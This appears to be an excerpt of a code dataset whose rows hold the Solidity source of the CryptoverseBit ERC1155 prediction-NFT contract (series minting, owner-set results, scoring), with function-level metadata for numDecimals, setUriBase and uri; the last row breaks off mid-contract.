contract_name
stringlengths 1
61
| file_path
stringlengths 5
50.4k
| contract_address
stringlengths 42
42
| language
stringclasses 1
value | class_name
stringlengths 1
61
| class_code
stringlengths 4
330k
| class_documentation
stringlengths 0
29.1k
| class_documentation_type
stringclasses 6
values | func_name
stringlengths 0
62
| func_code
stringlengths 1
303k
| func_documentation
stringlengths 2
14.9k
| func_documentation_type
stringclasses 4
values | compiler_version
stringlengths 15
42
| license_type
stringclasses 14
values | swarm_source
stringlengths 0
71
| meta
dict | __index_level_0__
int64 0
60.4k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | numDecimals | function numDecimals() public view returns (uint8) {
return _numDecimals;
}
| /**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
3344,
3435
]
} | 11,200 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | setUriBase | function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
| /**
* Sets uri base.
*
* @param uriBase uri base
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
3517,
3614
]
} | 11,201 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | uri | function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
| /**
* Return uri.
*
* @param tokenId token id
* @return token url
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
3718,
3899
]
} | 11,202 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
